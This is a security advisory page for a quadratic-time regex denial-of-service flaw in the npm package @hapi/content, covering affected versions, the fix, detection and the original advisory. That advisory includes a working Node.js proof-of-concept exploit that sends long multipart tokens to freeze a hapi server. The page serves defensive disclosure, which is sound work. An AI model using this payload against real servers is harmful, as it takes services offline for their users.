NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-119202: @hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service

highCVSS 3.1 7.5GHSA-8494-f6mr-cjpv

@hapi/content up to 6.0.2 parses Content-Disposition parameters with a regular expression that runs in quadratic time. One unauthenticated multipart upload with a long parameter token that has no equals sign can freeze a hapi server's Node.js event loop for minutes. Fixed in @hapi/content 6.0.3. The legacy content package (3.0.6 to 4.0.6) has no patch.

Published Oct 30, 2026 · Analysis Oct 31, 2026

What an attacker can do

Content.disposition() reads parameters with a global regex in String.prototype.replace(). The name part, ([^\=\*\s]+), is unanchored. For a run of name characters with no = after it, each match attempt reads the whole run and fails, and the scan restarts at the next character. Total time grows with the square of the run length.

@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi that happens on every route with payload.multipart enabled, before the handler and before validation or auth. The only brake is payload.maxBytes, which defaults to 1 MB.

The advisory's proof of concept sends one request such as name="f"; aaaa... with a long token. Against 6.0.2, a 32,000-byte token took 0.424 s, 64,000 bytes took 1.670 s and 128,000 bytes took 7.173 s. The reporter saw 542 s for a 1,024,000-byte token. During that time the single Node.js process answers no other client. A handful of such requests keeps the service down. Any application that passes untrusted headers to Content.disposition() is affected too.

Who is affected

The npm package @hapi/content, versions <= 6.0.2. The older unscoped npm package content is affected in versions >= 3.0.6 and <= 4.0.6, with no patched version listed. Every release from 3.0.6 up is affected. Check what your hapi tree resolves:

npm ls @hapi/content content

Routes with payload.multipart enabled are the exposed surface.

@hapi/content

Ecosystem
npm
Affected
<= 6.0.2
Fixed in
6.0.3
Check
npm ls @hapi/content

content

Ecosystem
npm
Affected
>= 3.0.6, <= 4.0.6
Fixed in
No patched version yet
Check
npm ls content

How to fix it

Upgrade @hapi/content to 6.0.3.

npm install @hapi/[email protected]

If it is pulled in through @hapi/pez or @hapi/hapi, update those so the lockfile resolves 6.0.3, or use an npm overrides entry. The fix adds an alternative to the regex that consumes a whole name run when no = follows, which makes parsing linear. The patched run handled a 1,024,000-byte token in 0.013 s. For the legacy content package there is no patched version listed, so move to @hapi/content. As a stopgap, set a low payload.maxBytes on multipart routes. Even a 64 KB token still blocks the process for over a second.

How to tell if you were hit

Watch for event-loop stalls and for requests that take seconds to minutes with no handler activity. A Node process pinned at 100% CPU while serving a multipart POST is the sign. In access logs, look for POSTs to upload routes with Content-Length near the limit from single clients. Inspect captured bodies for a Content-Disposition line with a very long run of letters and no equals sign after the name. Use npm ls to find any @hapi/content at or below 6.0.2.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.

Details

Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():

/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g

The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.

@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.

The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.

/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g

Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.

Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.

Proof of concept

Install @hapi/hapi with @hapi/content 6.0.2, then run:

const Hapi = require('@hapi/hapi');
const Net = require('net');

const attack = (port, n) => new Promise((resolve) => {

    const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
    const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
    const start = process.hrtime.bigint();
    let res = '';
    const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
    socket.on('data', (chunk) => res += chunk);
    socket.on('close', () => resolve(`${n} byte token  HTTP ${res.split(' ')[1]}  ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});

(async () => {

    const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
    server.route({
        method: 'POST',
        path: '/upload',
        options: {
            auth: false,
            payload: { multipart: { output: 'data' }, parse: true }
        },
        handler: () => ({ ok: true })
    });

    await server.start();
    for (const n of [32000, 64000, 128000]) {
        console.log(await attack(7001, n));
    }

    await server.stop();
})();

With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:

32000 byte token  HTTP 200  0.424 s
64000 byte token  HTTP 200  1.670 s
128000 byte token  HTTP 200  7.173 s

The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.

With @hapi/content 6.0.3:

32000 byte token  HTTP 200  0.011 s
64000 byte token  HTTP 200  0.003 s
128000 byte token  HTTP 200  0.004 s
1024000 byte token  HTTP 200  0.013 s

Impact

This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to Content.disposition(). An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.

Credited to secalert.

Questions

Is @hapi/content 6.0.2 affected by CVE-2026-119202?

Yes. Versions up to and including 6.0.2 are affected, and 6.0.3 is the fix.

Does the attacker need to be logged in?

No. The parse runs before the route handler and before validation, so even a route with auth: false or full auth hits it on any multipart request.

I use the old content package. What do I do?

The data lists content >= 3.0.6 and <= 4.0.6 as affected with no patched version. Switch to a patched @hapi/content, version 6.0.3.

Can I just lower payload.maxBytes?

It only shortens the delay. The advisory says a 64 KB token still blocks the process for more than a second, so upgrading is required.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More npm vulnerabilities

All npm entries